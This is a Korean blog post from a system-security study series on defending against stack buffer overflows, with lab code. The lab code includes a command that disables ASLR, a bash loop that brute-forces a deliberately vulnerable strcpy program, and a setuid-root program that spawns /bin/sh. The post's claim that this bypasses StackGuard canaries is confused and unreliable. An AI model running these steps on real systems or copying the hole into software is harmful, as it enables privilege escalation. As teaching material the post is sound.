스택 버퍼 오버플로우 공격 대응
스택 버퍼 오버플로우 공격을 막기위한 몇 가지 대책 방법이 있다.
프로그램 정적 분석기
Cigtal의 ITS4라는 코드 패턴 검사 경고가 있다.
컴파일러
Stackshield : RET 주소의 사본을 저장하고, 함수 종료 시 RET 주소와 사본을 비교하여 오버플로우 발생 여부를 판단한다.
Stackguard : 버퍼와 RET 주소 사이에 카나리 값을 추가하고 사본을 저장한다. 함수 종료 시 카나리와 사본 카나리를 비교하여 오버플로우 발생 여부를 판단한다.
하드웨어
NX비트 : 데이터에서 코드를 분리하는 CPU 기술이다. 메모리의 특정 영역을 실행 불가능으로 설정한다. 그러나 Return to libc 공격에 취약하다.
운영체제
주소 공간 랜덤화(Address Space Layout Randomization) : 버퍼의 주소 시작을 랜덤화 하여 공격자의 쉘 코드 시작 주소 결정을 어렵게 한다.
ASLR
RET주소를 악성 코드의 시작 주소로 조작하는 방법은 버퍼의 시작 주소와 크기 정보를 알아야 가능하다.
컴파일러는 변수에 대한 접근을 ebp, esp와 그 오프셋을 통해 상대 주소의 개념으로 수행하는데 주소 랜덤화를 사용하여 버퍼 또는 스택의 시작 주소 추정을 어렵게 한다.
함수가 매 번 실행 될 때 마다 버퍼 또는 스택의 시작 주소가 바뀐다.
힙, 라이브러리 등 다른 유형의 메모리 위치에도 주소 랜덤화가 적용된다.
리눅스 주소 랜덤화
다음 코드를 보고 실습해 보자.
#include<stdio.h>
#include<stdlib.h>
void main(){
charx[12];
char *y = malloc(sizeof(char)*12);
printf("addr of x (on stack) : 0x%x\n",x);
printf("addr of y (on heap) : 0x%x\n",y);
}
이 함수가 실행되면 x와 y가 저장된 위치의 주소를 출력한다.
gcc -o aslr aslr.c
로 컴파일 하여 파일을 생성해주자.
sudo sysctl -w kernel.randomize_va_space=0
./aslr
sysctl 명령어를 사용하여 주소 랜덤화를 꺼준다.
그리고 위 파일을 실행해보자.

몇 번을 실행해도 주소가 같은걸 볼 수 있다.
다음에는 주소 랜덤화를 켜주고 실행해보자.

매 번 실행할 때 마다 주소가 달라진다.
이 방법을 통해 해커가 버퍼 또는 스택의 시작 주소를 추정하기 어렵게 만든다.
사실 이 방법이 무적은 아니다.
무차별 공격을 통해 뚫리긴 한다.
ASRL 무력화 하기
다음 쉘 코드를 작성하여 실습해보자.
#!/bin/bash
SECONDS=0
value=0
while true; do
value=$(( $value + 1))
duration=$SECONDS
min=$(( $duration / 60))
sec=$(( $duration % 60))
echo "$min min and $sec sec elapsed."
echo "The program has been running $value times so far."
#./stack-L1
./stack
done
아래 stack.c를 새로 작성해준다
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void foo(char *str)
{
char buf[100];
strcpy(buf, str);
}
int main(int argc, char** argv)
{
char str[400];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 400, badfile);
foo(str);
printf("foo() returned~\n");
return 0;
}
그리고 주소 랜덤화를 실행시키고 위 쉘 코드를 실행해주자.

필자의 경우 운이 별로 없어서 8분동안 주소가 단 한번도 걸리지 않았다.
Stackguard와 스택 카나리 우회
bash 혹은 dash 쉘에서 setuid()를 0으로 설정하면 이를 쉽게 우회할 수 있다.
다음 코드를 실습해보자.
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main()
{
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
setuid(0);
execve("/bin/sh",argv, NULL);
return 0;
}
chown으로 루트 권한으로 바꾸고 4755로 바꿔주고 이 프로그램을 실행하면 쉘 권한을 얻게 된다.
'컴퓨터 과학 > 시스템보안' 카테고리의 다른 글
| 스택 버퍼 오버플로우 공격2 (1) | 2024.11.26 |
|---|---|
| 스택 버퍼 오버플로우 공격 (0) | 2024.11.22 |
| 스택 메모리의 호출 관계 (0) | 2024.11.22 |
| 리눅스 메모리 레이아웃 (0) | 2024.11.21 |
| 컴퓨터 구조 및 x86 아키텍처 (0) | 2024.11.20 |